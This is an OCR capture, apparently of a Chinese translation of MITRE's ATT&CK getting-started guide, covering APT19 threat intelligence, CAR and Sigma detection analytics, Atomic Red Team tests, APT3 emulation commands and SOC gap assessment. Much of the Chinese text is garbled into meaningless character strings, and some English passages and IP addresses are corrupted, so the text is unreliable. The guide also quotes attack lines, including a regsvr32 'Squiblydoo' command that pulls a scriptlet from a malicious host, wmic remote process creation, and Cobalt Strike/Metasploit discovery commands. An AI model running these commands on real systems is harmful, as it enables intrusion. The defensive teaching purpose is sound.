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pharmaceutical

Term found on page

FIN4 (1D: G0085)

APT19 (ID: G0073) (Assoc. Groups
Codoso, C0d0so0, Codoso Team,
Sunshop Group)

Turla (ID: G0010) (Assoc. Groups:
Waterbug, WhiteBear, VENOMOUS
BEAR, Snake, Krypton)

L EZ

Home > Groups > APT19

APT19

APT19 is a Chinese-based threat group that has targeted a variety of industries, including defense, finance,
energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a
phishing campaign was used to target seven law and investment firms. ' some analysts track APT19 and Deep

Panda as the same group, but it is unclear from open source information if the groups are the same. [ 5/ 4]
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An APT19 HTTP malware variant establishes persistence by setting the Registry key

Enterprise  T1060 Registry Run Keys /
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Registry Run Keys / Startup Folder

Adding an entry to the "run keys" in the Registry or startup folder will cause the program
referenced to be executed when a user logs in. ' These programs will be executed under the

context of the user and will have the account's associated permissions level.

Detection

Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start
folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that
could be attempts at persistence, including listing the run keys' Registry locations and startup folders. h42] Suspicious
program execution as startup programs may show up as outlier processes that have not been seen before when

compared against historical data.
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I T1068 - Exploitation for Privilege Escalation I T1033 - System Owner/User Discovery I

\I T1059 - Command Line Interface I

The most interesting PDB string is the 4113, pdk hich appears to reference CVES2014-4113, This CVE is a lecal
k(- nel vulnerability that. with successful exploitation. wiald give any user SYSTEM gccess on the machine.

The malware component, test .exe, uses the Windows commanty "cmd.exe” /C whoami®

o verify it is running with
the elevated privileges of "System™ and creates persistence by creating the following scheduled task

Wien executed, the malware first establishes a 'OCKSS onnection to 192157198103 using|TCP port 1913} The
alware sends the SOCKSS connection request 1 = and ver lns the server response startffwith =0
The malware then requests a connection to 19#T184.60.229 on|TCP port 8ljusing the command 74

5 = and verifies that the fsst two bytes from the server are "OSQ0" (¢O bB 3¢ efis the IP address
meO&ls:Mout network order).

[ 71053 - scheduled Task |

ITJ.OSS - Uncommonly Used Port l
I T1095 - Standard Non-Application Layer Protocol | ITIlOd - Multi-Stage Channels I
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APT3 + APT29 A
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Comparing Layers in ATT&CK Navigator

This document provides a walkthrough of how to use the ATT&CK Navigator (https://mitre-
attack.github.io/attack-navigator/enterprise/) to compare two different layers. (Navigator is
also available at https://github.com/mitre-attack/attack-navigator). This walkthrough would be
useful if you want to compare techniques used by two different groups, but could be applied in
many ways — to compare a group to your defensive coverage, your defensive coverage from
one week to the next...whatever you want to do!
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https://www.youtube.com/watch?v=QCDBjFJ_C3g&amp;list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&amp;index=21&amp;t=0s
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https://github.com/mitre-attack/attack-scripts/tree/master/scripts
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ATT&CKIEATT: Aill-5 7347 | John Wunder

CAR-2016-03-002: Create Remote Process via WMIC

Adversaries may use Windows Management Instrumentation (WMI) to move laterally, by launching executables

remotely.The analytic CAR-2014-12-001 describes how to detect these processes with network traffic monitoring and Submission Date: 2016/03/28

process monitoring on the target host. However, if the command line utility wmic.exe is used on the source host, then Information Domain: Host
it can additionally be detected on an analytic. The command line on the source host is constructed into something like Data Subtypes: Process
wmic.exe /node:"\<hostname\>" process call create "\<command line\>" .Itis possible to also connect via Analytic Type: TTP

IP address, in which case the string “\<hostname\>" would instead look like 1P Address . Contributors: MITRE

Although this analytic was created after CAR-2014-12-001, it is a much simpler (although more limited) approach.
Processes can be created remotely via WMI in a few other ways, such as more direct APl access or the built-in utility PowerShell,

ATT&CK Detection

Technique Tactic Level of Coverage

Windows Management Instrumentation Execution Low

Data Model References

Object Action Field

process create exe

process create command_line
Implementations
Pseudocode

Looks for instances of wmic.exe as well as the substrings in the command line:

+ process call create

* /node:

processes = search Process:Create
wmic = filter processes where (exe == “wmic.exe” and command_line == "* process call create *" and command_line == "* /node:*
output wmic

CARZ%H: il WMIC Gl e

58 S PR A A W] AR SR A 22KV, (HAR B I 3 RS o 1) B A7 T D TR R B )
PRI, Rt O AR S LT 1 SIEM R R IER] (B PR U 10 7 B4 P IE
), BIATPRAT SR ARG R . AR R AR e e O AR RS AR B, 3 mT DAGE I 44 A
Sigma 4 T H B AL K5 O AU RS et = T A5 04 H AR ACRS . A Blf, CAR-
2016 - 03 - 002 T U 7E Sigma AL,
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https://github.com/Neo23x0/sigma/
https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_susp_wmi_execution.yml
https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_susp_wmi_execution.yml
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sigmac --target es-qs -c tools/config/winlogbeat.yml
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Bdh, WA AR RIS C L AESE: W AR, 0] RERAHE 1k P A, R
LRI EIRER THAT.
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g SOC THA, sl Z BnatE AT 28 b (A s S e 1
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regsvr32 /s/n/u/i:hxxp://support.chatconnecting(.)com:80/pic.png scrobj.dll
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ATEUser\Documents> dir

: C:\Users\IEUser\Documents

Name

C:\Users\IEUser\Documents\T1117
LastWriteTime Length Name
5632 AllTheThingsx86.dl1

966 RegSvr32.sct

s /u /fi:http://raw.githubusercontent.com/redcanaryco/atomic-rei

PS C:\Users\IEUser\Documents\T1117>

47 Squiblydoo It iz Calc.exe [#i

PATYGE R, AREN SIEM P24 T2 HAESME. X—MrE, SERINE TR
PEERMBHER AT, FikPE Squiblydoo i 5112 P ke AR &y FGQSVF32-6X6 WA
AR R HRN BT DA BT AUAN 2 B 4K regsvr32.exe i A2 A1 1 B R] AL AL A
“li:nttp” WM 1T

R AR g 5 R BRI AT, BRI RAL IR R, RN RS
W AEAT N, RIFER AR DA A S T ) SR 4R

Write search to Revise to filter
detect malicious out false

Ensure search
detects malicious

behavior positives behavior

SIHTH R AR
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S A R X A BAER . B ST, RO SRR AE . AT RE R U T
Mimikatz, %5 74 6y 247 H mimikatz.exe 1% Powershell ! Invoke-Mimikatz 1) 4>
B AL PAT RN, WORF I A A 45 BRI 2 BN . At AT TR AR R4 HB 5 $0F T B
g ke S A3 AT Y

EAMEOLR, AT BERF mimikatz.exe H Ay 44 4 mimidogz.exe, LI}, TR T B A 4
B, FRFAME TR 44 LA A TR . Hedn, #5844k mimikatz 1517 Isass.exe I}
MEEE GrantedAccess RS (BIFH.OEMARLNTT, XHENGIT) |, FZ AL, 21
BAFFEAETAH B () AR SR, 9 s i oy — AR 517 GrantedAccess i P RE A
.

WNEARPAAE S B Frig A SR AR, SR BREESR T R AR D535, RN RERS A
o - S b B I B I BE T . A I NS i B B, L A RERS 1 S L 5
BASAE, BRORGIEE IR EAAELL, BRI BGh ALk, FATIEE FIF R IRYOR, I8
ARV FRAUMILL AT PRAF R TE, 48 T XX — IR E L.

ER S ML 5 Andy Applebaum F57E 25 DU b i i) ATT&CK SOC PFALFH K, 24451
AW B\, FF @S oMriERER, GESHEEMEH ATT&CK (it 2
ATT&CK Navigator it 2 A H S TH) REEREEES N4, AEwES T4, 6
m, EArEEe MAATIE I BT 4G, BB REAL N Katie Nickels #il Brian Beyer 7 SANS
CTI Wit s AR s A
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https://mitre-attack.github.io/attack-navigator/enterprise/
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1548090281.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1548090281.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1548090281.pdf
Satan1a


ATT&CKEEERAT]: #5047 | John Wunder

Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access

11items 33 items 59 items 28 items 67 items 19 items

BRI AR A

Ja, BHEMIEA CAR M, i, RPEEDIA T ERENERE (W
Llﬂﬁﬁm, B M AN AT BEFR (LA E SR R 8 7 75

Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access
11items 33 items 589 items 28 items 67 items 19 items
e E—
Scripting
fipt Sﬂﬂﬂu
f
Hit A\CARZ T A el

|17




ATT&CKIEATT: Aill-5 7347 | John Wunder

TR, BT, INIE S WAEREETH RS SOR B iR, R, JfHA—
SR I RS W, BOR Rk, HIE, 100% 3RS E BRI A S B2 W]
e, SOATWERTL, UUEEHEEERENE.

Initial Access Execution Persistence Privilege ion D Credential Access
11items 33 items 59 items 28 items 67 items 19 items
Command-Line Interface Wmm} Masquerading Credential Dumping
Scripting S w“ Obfuscated Files or
Sowershell Information
; Scripting

S5 GCARTI A LT KA A ]

MK, REHEM AR, ESEEYRECREFRTEE . BT AR — 2 TR
AL EREZ DA, RIVLEMWN AT — S0, BT AT IS A 5ARE i
PeokdibRe, B, Hit—, WEMWE BFEP TRBIRAT A LTI R, wh, B
TS B AT AR, DAGE REAS AR I Hh BAGB Z AR P UGEAT R, 1 ATT&CK AENK
TR AMIES K.

/NG
AREYFA T AT AN ATT&CK ORI, ik T A fp Ui, AAe b
—E B EAR R, OGO DA I 0 2% bR e 5 RER U2 3l ik figas X
U A AT ARG S AR T PR B 2 A e g S Y Bl A T A e
P T AR Rl e, AR T4 1 (9 21 BA I DAk S8y 17 480
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ATT&CKEEERAT]: #5534 | John Wunder

=

« W25 HTEE (CAR): MITRE 43 B %
- EQL: Endgame W54 HT

* Sigma: —Fh LHIG KBS, ik ibksNmEn920r%, 1 B Florian
Roth #il Thomas Patzke

« B F AR T (ThreatHunter Playbook): #E H & %i#E v 3k ATT&CK AW
RMEE (BN, AR, 1R BEHmEMr KEEE) . 1 H Roberto Rodriguez

- [F 741\ (Atomic Red Team): Red Canary # 1 I BAIUREE, 7T I T- 48B4 4047
- K5 s (Detection Lab): 08 fif 7 SE 3 = AT H I 4 4€,  Chris Long %i5
- BOTS: Splunk [#j Boss of the SOC $#li4s, &5 sh Il I

- BRAWL Public Game: MITRE Y41 BA % &

* ATT&CK Navigator: ATT&CK ML TR, W& s

119



https://car.mitre.org/
https://eqllib.readthedocs.io/en/latest/analytics.html
https://github.com/Neo23x0/sigma
https://github.com/hunters-forge/ThreatHunter-Playbook
https://github.com/redcanaryco/atomic-red-team
https://github.com/clong/DetectionLab
https://github.com/splunk/botsv2
https://github.com/mitre/brawl-public-game-001
https://mitre-attack.github.io/attack-navigator/enterprise/

3 XFHBLSL

Blake Strom. Tim Schulz FiI Katie Nickels

ROFBECIR TR T H— =G ATT&CK SREUBIME R, PAKS — 2 ATT&CK # il
50NNl AZREE =8 PR ATT&CK MO AR LT AR, 38R T A1 anfaf i
John ZFATH B IX BB 2B

JESE 2 i EAT R A, AN FE R R T A P BA R SRR SR A 1 0L, R AR R R IR
BB EATATREBA KRZ IR T
CBTRE: G IR E SR R A KT BA
CRZER: BT RN A £ IR H WL

SFPRILR A A HUE — PR, 35| ABRMMER € LA BASIERIAT R, SREGUA LK
EGRBRR X 391 X FARALL AN 7] 35 i M il A AT £ B 3

Xt PRI T SR TR . FORFIRER (TTP) R . A5, ZLAFERIE S =1 [F]
IPAE H AR 25 EARAE, s A T XA SO T 1 B

YT ATT&CK @ B S A FAT MR KA, X TFRL TS ATT&CK Z [l E LRI
NHEME, AT F B 24 F AT anfa i ATT&CK JEAT 0 FAEL, 558 B S SR T2

#— P2
BHEL, BIEBCA LN, ZNATBURIEAE B 22 4 N Lt ] AN FAEHU P an )
Z . ARZERT T 5 R A& ATT&CK BRI SRR, TS H A
5 1 12 A 2B g BRI A B R AL

JE 41BN (Atomic Red Team) 2 Red Canary 4i3ri— NI H, H— &5 44
B, AT T A L 2 ATT&CK $RIFRE FOR SREF IR OL. flan, o
MEE—EE I A 7 T APT 3 i Fl 9 M 26 =2 % 31 (Network Share Discovery) 1% A
(T1135). &P ARG B AL 28 TRCINIATBN, 2R)5, BESE —=aviess, Mild
B TR MR A T AT T R, (BB 2MTE B O BE i 2] i
ARlg?

© 2019 The MITRE Corporation. {48 fir 5 1UF] .
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https://medium.com/mitre-attack/visualizing-attack-f5e1766b42a6
https://medium.com/mitre-attack/visualizing-attack-f5e1766b42a6
https://github.com/redcanaryco/atomic-red-team
https://attack.mitre.org/groups/G0022/
https://attack.mitre.org/techniques/T1135/
https://attack.mitre.org/techniques/T1135/
https://attack.mitre.org/techniques/T1135/
Satan1a
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ATT&CKEZERALT: XTI 51BN | Blake Strom. Tim Schulz #i1 Katie Nickels

FE IR T2LBA (Atomic Red Team) KA BIROAR S, BikAT AL GE R 575 &
iy,

JRFLNETAEREZ R FI6E, B4R FIEES €8 T ATT&CK SR H S, &)
PA ATT&CK Ji MU B A,

PP T1135 TiTH, A IO FoRMEFINRAN T S AR 2R, HhagMRa s a R L s
B, EIEHEA . ZRPEE RS HAT .

Atomic Test #2 - Network Share Discovery command prompt

Network Share Discovery utilizing the command prompt

Supported Platforms: Windows
Inputs

Name Description Type  Default Value

computer_name  Computer name to find a mounton.  string = computer1
Run it with command_prompt !

net view ‘\\#{computer_name}

T1135 JEF- 4075

FAME S =AM, g eFa2a o0 T, AT AT, far il
RiMGHEZ, B RNLA, PATI RS

BAE, FRATEPAT TIRAT AT AT, FRATT AR S PR I B A4 VE, 2
ANRBAVHFFRI RN A . Flan,  “net view” AT/, FATH SIEM TH AR filt e —
AT RN, BT EIEEs FIFEA, R IEEER A B 2R A0 H E &AM FILLIE
W, PR e S, A T BRI, A AL AR AR I
IR,
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https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/matrix.md
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/matrix.md
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1135/T1135.md

ATT&CKEEZEEAT]: XIS 2 BA | Blake Strom. Tim Schulz £ Katie Nickels

RLE AT AR AN ATT&CK $0K, BT ATT&CK HR 1% o 5 68 T T,
AR A — IS — A HoAR T R, 18188 TR,

Choose an ATT&CK
technique
. Ioke Choose a test for
improvements to -
that technique
your defenses

Analyze your
detections of the EEGE IR The test
procedure
procedure

AT TECKHIAT I J& 3

I A.5: EFENETLLRATTH TR, M A AF 22 7] WA BT TR P9 5 T
77 BN K, FAIKRFETF CALDERA! CALDERA 42 MITRE G219 1 3) kX FHE
B WEREWSF ATTECK AN Y. HIEMEN, HFE 2 IR AR
HEEERR, I BT R, TARFEHATEASE T Wi, 5] e BBty

A2, BPRG E A I ATT&CK #ERIFYY (CALDERA HIFfhAES)) Hesw LRI
HIL7 4.

| 22



https://github.com/mitre/caldera

ATT&CKEZERALT: XTI 51BN | Blake Strom. Tim Schulz #i1 Katie Nickels

o
HIRCHBALNTI6E, ¥ ATT&CK M ER A L APt £ £ . 20 BT i
FEARBLET 2 ATT&CK, W AR LR S 1R 5 e S M it i i A HE e,

A, AR B T R MR E ] T H i & ATT&CK. MO 2L BAFE 7 2
ATT&CK Sl 22 ATT&CK R, FILAZS% 55— Katie 41 i By /<24
SEBWE, A RSB RS ERAE ATT&CK Wl I8 R T ey 2 —FEfai 8. 26413
T, WRBATWLBNEAET @A T “whoami” x4, FKATAIPATE ATT&C KM il 183
X&EmA, EHWRRERTHAFEAR: AL A A& (System Owner/User
Discovery) (T1033) 4474 1 (Command-Line Interface) (T1059).

whoamil

Techniques

Term found on page
Command-Line Interface (ID:
T1059)

System Owner/User Discovery (ID:
T1033)

HTTPS://ATTACK.MITRE.ORG [ 2T fg

EHFWS AT E ATT&CK 15 —AF %, 2 APT3 X T B U5 b T Jit
(Adversary Emulation Field Manual). FHHF# T APT3 it & e HelE, 28w
T ATT&CK.
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https://attack.mitre.org/techniques/T1033/
https://attack.mitre.org/techniques/T1033/
https://attack.mitre.org/techniques/T1059/
https://attack.mitre.org/techniques/T1059/
https://attack.mitre.org/
https://medium.com/mitre-attack/getting-started-with-attack-red-29f074ccf7e3
https://medium.com/mitre-attack/getting-started-with-attack-red-29f074ccf7e3

ATT&CKEZERALT: XTI 51BN | Blake Strom. Tim Schulz #i1 Katie Nickels

Category Built-in Windows Command Cobalt Strike Metasploit
Discovery
T1082 ver shell ver
T1082 set shell set get_env.rb
T1033 whoami /all /fo list shell whoami /all /fo list getuid

net config workstation shell net config workstation
T1082 net config server shell net config server

ipconfig
T1016 ipconfig /all shell ipconfig post/windows/gather/fenum_domains
systemprofiler fool if no access yet (victim

systeminfo [/s COMPNAME] [/u DOMAINwser] [/p |browses to website)

T1082 password] or sysinfo, run winenum, get_env.rb

APT3 X} T 40) b7 32k

AR A LLBA i ] Cobalt Strike 3 Empire % T.H, K&Kl K& T HE LB E ATT&CK
T. FREBGTE ATTRCK 9554, BIAM T A, BIEGHT ASRRIMT .

AL A ALK RS T RN A. ABATRER AR VIA R, BT
—HEMENF. EAIRDEREENR, HOTZAR TTP R #ER (SUkE
@l ) ZATREHT A RALHU R SR 5 S ECR AR TG L S0 T 4 B A ROCR
o B ZE T . R IE SRR R X SRR BN T, WAL AA L .

FATAE R PRA UG B R THA X I BEA AT e AR ——FR A TR FAT] S LR
X, RUEEAMER AL, G, FRATATLAS CTIBAGAE, AR iE0ok 5 O
¥ OilRig B L

o T ATT&CK T AR VEHR 2 5 H 401, AT A ATT&CK Navigator, ¥ Cobalt
Strike 584 TR AMATIRCAR, 5 MFFIEHAE 111550 OilRig i F e ARMO . (1
" Navigator i/, T fif anff #4718 R Xt ) F &, Cobalt Strike $ RFR4L,

OilRig # R#47i, Cobalt Strike T4 OilRig {# i iy 5 AR R 6.

XEFR R AR, FRFRATT AR H A TEIAT, BEHUHSN 2% Bk 18

o,
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https://attack.mitre.org/software/S0154/
https://attack.mitre.org/software/S0363/
https://github.com/mitre-attack/attack-navigator
https://www.youtube.com/watch?v=pcclNdwG8Vs

ATT&CKEEZEE AT ]: KPS 2 BA | Blake Strom, Tim Schul zf Katie Nickels

7R Cobalt Strike 5 OilRig % RE&AY ATT&CK Ak

[4: 715 Cobalt Strike 5 OilRig 3R ES, MR il s Fe 7 2 m _FARL 2T A T A7
P FTAE.

ZLBAFT TR AT BE R AR Ul (HX TR oy KPutTHeR. R

XA AT R L BAAE 2 AW SR A /A TR, X AR, e A v o dig- b 7 55

FIRESRIUKATE) .

X B, ATE WA DA 24T 8 A F3h AT e R . SR 51 Navigator Higs i

FE, DERHFRATRFZLRA T L5 AR P i R 5 s

FRRIZL BB A o] B G 22 ATT&CK 222,  TRAT 56 B U 45 W BAE [RIRE AR iR 2t Ak . 4

S BAKF AT AR i S ] ATT&CK, SR AE AR 38 JH (18 =5 -+ 43 07 {3 13 1 1

AT TAE 4, AT B (e R Ly T2 M iy . AE 4 Al & ATT&CK Navigator ]
(F 2 JI 7 Navigator KJ2) |, A BT AR, BT T i B
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ATT&CKEZER AT XF PRI 541 BN | Blake Strom. Tim SchulzfilKatie Nickels

K 2.5: [/ ATT&CK HIEIXI L AIIR 452 ), i il Fl/H ATP3 fU i1 4 (APT3
Emulation Plan), B(ZE T i%114/H7 ATT&CK 774 254 (ATT&CK Evaluations Round 1) %7
5, ITH APT3 HIXITL,  S2as1 XE XN LG i

B=R
EN A N U EARUNTSE &3 ATT&CK %ﬁlﬁﬂ‘i‘%f’ﬁ#ﬂ #Mﬁmei EPLI&&{ME it —H
RIHERIA M&,ﬁ\ ﬂ[fljj : NZION7 X (b oRelpeveNERA:iT)

FREPTT N,

B A SR FREITTR], IR R RS A 20 NS A R g i MBRSE R
I RN F 5 BRI B EAT R LR SR A AR, S MR L Bl T
PEPAT RAF, SR WIRLeH 5 7 AN SR VT A

B4 MR R 5 L0 A] LR S s st T i, A R B s X e Y T A AR MR ok 2 O T A
M, wmEEREEL . R CTI SX PR TAEMSE G, BResm a2k, ae
SRACKT LT 2 e T, AR A AT I i

BAETE S TS AP RS, A TR ATHE, DA
UK B 1k Tﬁ@ﬁtﬂﬁﬂ’]ﬁéﬁi#L i#% % I, Katie Nickels F1 Cody Thomas ft_(Jil
ATT&CK g i) (Threat-Based Adversary Emulation with
ATT&CK). )

Gather ; Extract Analyze & Develop Emulate the
threat intel techniques organize tools adversary

TR B E
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https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf
https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf
https://attackevals.mitre.org/methodology/round1/operational-flow.html
https://attackevals.mitre.org/methodology/round1/operational-flow.html
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536260992.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536260992.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536260992.pdf
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ATT&CKEEZEEAT]: XIS 2 BA | Blake Strom. Tim Schulz £ Katie Nickels

1. SRR T LS B — X, 55 CTIHIA AR, 4076 X
SOXH AT R . A7 AU T IREONS S A N ek, i
SKUCATFITTR . AR, S BT TR BB R Ak K M Bl

2. BEHA—— RTINS 5 ATTRCK AR SUHI, A R E A2,
A5 GRATIONARMU SR R, TTDASS] G0 CTI A A B 22, b1 T
T 4 55—

3. ST ARG PR R GSEIA X T X T SR 7SR KR, TS REDA 0 T 0 L1
PRI, AL B B R T R, B, FEBUE MITRE J APT3 it
T QA R,

. v m— L4

\ - ™

( Compromise \
C2 Setup Host
| {

Defense Discous Privilege

Software Evasion AEDURLY Escalation
Packing
y Persistence
Access

Lateral
Movement

Collect
Data

Compress
and Stage

Obfuscate
Files

Exfiltrate

Initial

—
—
-~

Access

Execution

R
L= J ~— 7 A\

APT3 e

4. FrR TEMEF—IEEHE A CA B 247, W i sellig . &%
.
ARG B A BB AR ?
© IR R R SCE AR R SR ?
* FRATTAT DAGE WP 2L T HOR 5 i iX 88 TTP?
5 B F—— RIS, LLPUA T TR BE ). AT B A i 1
ATT&CK HYLLBARHL T, Z0 ALY S B VI AR, ZRIBOGH B AT WA de il S 3
JUC PR R R AR

| 27




/NG

ATT&CKEZER AT XF PRI 541 BN | Blake Strom. Tim SchulzfilKatie Nickels

REEALIRESE UG, LLBAFIEE BARI AT 5 CTIH BA— [ T — P E R ol e n gy, £
FRIELERXS UGB, I i B b SR AT M

AE R ERR T WA ] ATT&CK HEATLL B AT TS, oI GG 14 S AR T Hh

T (BIEEERRRALIAMEL) .« BONEFEECHE ST, BhgEEEER, &
JIME B R AT AU, 43T T 48 B X AU DABS UE A Bl i —— T — D13 (8

ATT&CK L HER . T2 (WE—%F) A ATT&CK PUATITFMN S T/, 524538110
ATT&CK L ATTFRF1 .
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4| FEST

Andy Applebaum

BIJLES, FATHE T ATT&CK REUSIMER, FATIM S04, PARIEAT A Y.
AR B AR 0] PSS A SRR A A ATTE CK Y R ERBI . )\ R 5w EyF, A
BHAAMETERD LR AL b, BTSSR L.
NET PR, SRR B, ARAR T 0 2 A A PSR BRI 7 = A2
K:

BB BT RERCA KRZ IR T

CBTE: G IR E SR A KT BA

FBER B TIA SR a BHIE 2 SR WL
R W EWZ T REN, ESERPITETR? (B ATTE&CK i %4 TAITAI AL
PP B AN AT BB —02), It DA G AL BT Y 2 4 i
1. VA TR AR ATT&CK A AR X - 11 L
2. R P R B O
3. HEEBIEE | AGET R BT DA X L

A B CAR-2013-05-003: SMB Write Request

GECERR NS

PGS TARRE VO R AR . BN A R MBI g e Bn,  Fen TR sl &
W2 R, BB AR, FRIEAE S ZHPF.

| 29
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https://medium.com/mitre-attack/getting-started-with-attack-cti-4eb205be4b2f
https://medium.com/mitre-attack/getting-started-with-attack-cti-4eb205be4b2f
https://medium.com/mitre-attack/getting-started-with-attack-detection-a8e49e4960d0
https://medium.com/mitre-attack/getting-started-with-attack-red-29f074ccf7e3
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ATT&CKEL# AT T: #li5 TFE | Andy Applebaum

5
WAREE/NF NG, BA RS HEIR, GRS R ambee, T4 D Ealdxse
HER ATTACK AR, ORI L8, XUNERHHEA, EXAHCE
AATREFERERIRE T, ARG B2 .

JEHTRMNMEAT JRE—FIEOR, BRE AR EORMEER, RIGHHE L TR
(EPATESREEER . A — PP BRI IMGE, R LAGE Bl S AT R PG 7
. POEMPFIEERTFAG ? ZpFH—F, FEEENAT I ATTECK R MM E T

»»»»»

HEH SRS, LA DI R B A, AT DL 1 B
BTG ERE, B G TP 2RI
SR AT B SR B A
TR SRR, A TE SR A T OB IR 2
SR TR AT R A B B A
P WIFFGHT, @ TR 265 Bl ?
LR — TR, R AL S HT DA A T TR R, ki T A 2
FE, (I RIR: R SOC T T AW IE ATTSCK RURUANAT, HERAH A

TN, REEHME, EFEGIAH KA HALE S A IZFE AR ATT&CK
PTEY eI

2T, IREFRATER F o S A Y (Remote Desktop Protocol) (T1076), HELAH
T AR

1. PG 22 S T T 9 45 i

2. AcroRd32.exe A= iiHY FirAy EAR

3. %4k tscon.exe AT & R

4. % 3389 i I A PIHRIM 24 i

EAE XA P ATT&CK HORTUE, FRATATDARPCAE S, BN #3 DLEE
RSO RN . IR R, FL #4 HiiA 1Y 3389 b IR E A

| 30



https://attack.mitre.org/techniques/T1076/
Satan1a


ATT&CKEL# AT 1Tl 5 T.# | Andy Applebaum

Detection

Use of RDP may be legitimate, depending on the network environment and
how it ks used. Other factors, such as access patterns and activity that
occurs after a remote login, may indicate suspicious or malicious behavior
with RDP: Monitar for user accounts logged into systems thay would not
normally access oF access patterns to multiple systems over a relatively
short period of time

Also, set up process monitoring for tacon.exe Usage and monitar service
creatlon that uses emd.exe [k OF cd_axe Jc iNIES arguments to prevent
RDP session hijacking.

TEAE ST PRGN SO

HIERANTE S BIEOR, K DR N EORIE R, RGBS — D BORK
JEIT B AR . AR MR E R B EOR, BRI ATT&CK TS AR I8, e
H O O 2 T IR iR 8 B . SR E R, IS R I A

AN R A P BGE R 5, 1% EAME? Xt 2% TREFEZWHTT T . AUk AR
ATT&CK T H1 H ) B IR 24 VER RS A, S st I A G WS e v e AR A ff ) 3k S iR )
AR

#2: Windows Fiff: H g2 i 12 FIng— 1 B0, 12X RE ATT&CK FERIG . L

FHLE H &R — 1 R 5 JEAE Malware Archaeology #9 Windows ATT&CK B4y 1 17

(Logging Cheat Sheet), it-## Windows ZfFIH] 245 LA 2 F3 MG #R.,
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https://www.malwarearchaeology.com/cheat-sheets/
https://www.malwarearchaeology.com/cheat-sheets/

ATT&CKEL# AT T: #li5 TFE | Andy Applebaum

244 Tt ATT&CK HoAR A 97 Fhvnl H B iy 472850k I,
T iE it Windows 4688 {445

B&XTFT—REK: HEBE- IR LE—ZRIITIERE, BFRAE IR, HH
ATT&CK Navigator je5¢ PSR, X 24 ATT&CK Z m i E Em4afE T H,
XTI RE R S, PATEGR TR M, A BT A Airhr B TR nT ARSI B2 AR AJE . Olaf
Hartong (1] ATT&CK %ifiih & (Datamap) %l . DeTT&CTHI MITRE H . iy ATT&CK
AT B b T

| 32



https://github.com/mitre/attack-navigator
https://www.youtube.com/watch?v=pcclNdwG8Vs
https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11
https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11
https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11
https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack
https://github.com/mitre-attack/attack-scripts/tree/master/scripts
https://github.com/mitre-attack/attack-scripts/tree/master/scripts

ATT&CKEL# AT T: #li5 TFE | Andy Applebaum

R
PBMATEHTIAELZ G, SARSEY RO, AR ATT&CK MR
A R —3Bor . BeAh, o S R R 2 st 7 S B R AG I 114 2 S8 2 b 2 T i BRI 7R

K. X, AT

_ High Confidence of Detection
Legend Some Confidence of Detection
Low Confidence of Detection

IR ZATAL7R B

L I A IO ER AT TR, T F A T E 22 L RERET 2
ATT&CK FR. TR MIFTH, Tl THELATTX PEA S, BURAE =3 P i HY A FE.
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https://medium.com/mitre-attack/getting-started-with-attack-red-29f074ccf7e3
https://medium.com/mitre-attack/getting-started-with-attack-red-29f074ccf7e3
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ATT&CKEL# AT T: #li5 TFE | Andy Applebaum

BAJLE Y KI5, XA AR 78 B A BT AT GRS B 2 A
PR, MABRZER S E—DEOR, MH, AR EEE S TR ERA, &
AMAKARCHITARCE R, BB IR E 8L

Hr: REFIAHT, el TR H AR R, IFH BB ] ATT&CK. 1T, 1
I GER XA R Windows HTHI BT BHEZ A HTH) B, AT AT

Windows ATT&CK /14 1. 1FZ (Logqging Cheat Sheet) 24 251/19/% 12 #e it FfE ID, 7 a]

U] ATT&CK PSRRI EHI 7M. TN T 22 i L1437 %, 2584 i ATT&CK #eA
281317 (Commonly Used Port) H,

Matrices ~ Tactics *  Techniques ¥  Groups  Software  Resources v Blog &
MITRE | AtTack

Contribute

MITRE ATT&CK™ is a globally-accessible knowledge base of adversary

; [ L Tweets vy gusestac

tactics and techniques based on real-world observations. The ATT&CK Y GANTREStack S
knowledge base is used as a foundation for the development of specific CK Retweels Modity Registry (ID: T1112)
threat models and methodologies in the private sector, in government, and ﬂ Johnny Curran System Inforrnatior Dissovery (D:
in the cybersecurity product and service community. 4 SW_JohnnyS
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With the creation of ATT&CK, MITRE is fulfilling its mission to salve
problems for a safer world — by bringing communities together to develop

more effective cybersecurity. ATT&CK is open and available to any person or
organization for use at no charge.
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Examples
Name Description
APT3 APT3 will copy files over to Windows Admin Shares (like ADMINS) as part of lateral movement.'®!
APT32 APT32 used Net to use Windows' hidden network shares to copy their tools to remote machines for execution. %)

BlackEnergy  BlackEnergy has run a plug-in on a victim to spread through the local network by using PsExec and accessing admin
shares.”!

Cobalt Strike | Cobalt Strike can use Window admin shares (C$ and ADMINS) for lateral movement. !

Deep Panda Deep Panda uses net.exe to connect to network shares using net use commands with compromised credentials.!!

Duqu Adversaries can instruct Duqu to spread laterally by copying itself to shares it has enumerated and for which it has
obtained legitimate credentials (via keylogging or cther means). The remote host is then infected by using the
compromised credentials to schedule a task on remote machines that executes the malware.'?)

Windows 4 F 51 3L = (Admin Shares) 7r i34

B TR, RGeS AHE TR TR FATEEEA LA T ER—REA T
HAIE—0y By IR I, SRS E AR

AT RBTEME? Bk T TRRPITE, el fhe
%%&*%@&ﬂ%ﬁﬂﬁﬁo

XA TRAMTRI? 200 SRR #SIHIEE? E20, JITak

/

e, T RERS

e

